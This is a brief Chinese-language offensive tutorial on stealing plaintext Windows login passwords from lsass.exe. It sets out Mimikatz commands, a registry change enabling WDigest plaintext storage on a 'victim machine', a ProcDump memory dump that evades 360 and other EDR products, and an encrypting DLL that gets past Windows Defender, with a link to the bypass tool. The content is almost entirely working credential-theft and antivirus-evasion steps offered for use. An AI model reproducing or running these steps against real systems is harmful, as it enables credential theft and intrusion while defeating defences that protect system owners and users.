一. Mimikatz加修改注册表绕过LSA保护(暂不考虑EDR和WD)
- Mimikatz原理:Mimikatz通过逆向获取存储在lsass.exe进程中的明文登录密码。(lsass.exe用于本地安全和登陆策略)。首先使用Mimikatz抓取时必须是管理员权限,在win10,win11,win2012等版本中,系统会开启LSA保护,明文密码字段会显示null。
- 第一步提权:privilege::debug
- 第二步抓取:sekurlsa::logonPasswords
- 关闭LSA保护:管理员权限对注册表进行修改,随后使用脚本或者任意方法重启系统,使受害机的管理员重新登陆,此次登录的明文密码将会保存在lsass.exe 进程中,使用Mimikatz再次抓取可显示明文密码。若恢复注册表可直接将1改为0。
- 修改命令:reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
二. Procdump dump绕过360,火狐
- 绕过思路:由于Mimikatz的强大,各大EDR已经在防护Mimikatz的道路上越走越远,所以我们如果 针对Mimikatz做免杀哪怕过静态,还要考虑各种姿势绕过抓取hash的动作,但是这无疑需要很多的时间,因此我们可以考虑取出已经存储在lsass.exe的明文密码,通过本地的Mimikatz进行处理得到密码。
- 实施:前提已经关闭LSA保护并且为管理员权限,使用微软项目Procdump进行Dump(由于是微软项目,各EDR都不会报毒), 获取lsass进程储存的密码信息保存为niuma.dmp。
- Procdump项目地址:https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump
- 命令:ProcDump.exe -accepteula -ma lsass.exe niuma.dmp
- 将生成的niuma.dmp保存到本地,在本地使用Mimikatz获取明文密码,此时因为已经将信息拉取到本地环境Mimikatz同目录中,所以普通用户权限就可以直接读取niuma.dmp中的明文密码。
- 第一步:sekurlsa::minidump niuma.dmp
- 第二步:sekurlsa::logonPasswords full
三. DLL文件加密储存绕过360,火狐和Windowsdefinder
- 原理:由于Windowdefinder 检测逻辑是文件层只要是lsass.exe生成的存储文件就会报毒删除,因此需要在内存存储中通过DLL干扰对存储加密绕过WD。
- 实施:前提已经关闭LSA保护并且为管理员权限,在运行中可能报错没有指定模块参考,需要查找该DLL文件的依赖项保存到同一目录,使用命令生成加密test.log,保存路径C:/Windows/Tmep,将文件保存到本地,解密test.log获取初始存储信息,随后与二相同mimikatz获取明文密码。
- 第一步生成加密文件:rundll32 DumpHash.dll dllmain
- 第二步本地解密命令:mimikatz 解密.exe test.log 1.bin
- 第三步读取明文:sekurlsa::minidump 1.bin sekurlsa::logonPasswords full(与二相同不再截图)
四. DLL文件及解密文件
- Github项目地址:https://github.com/xjsafe/MimikatzBypass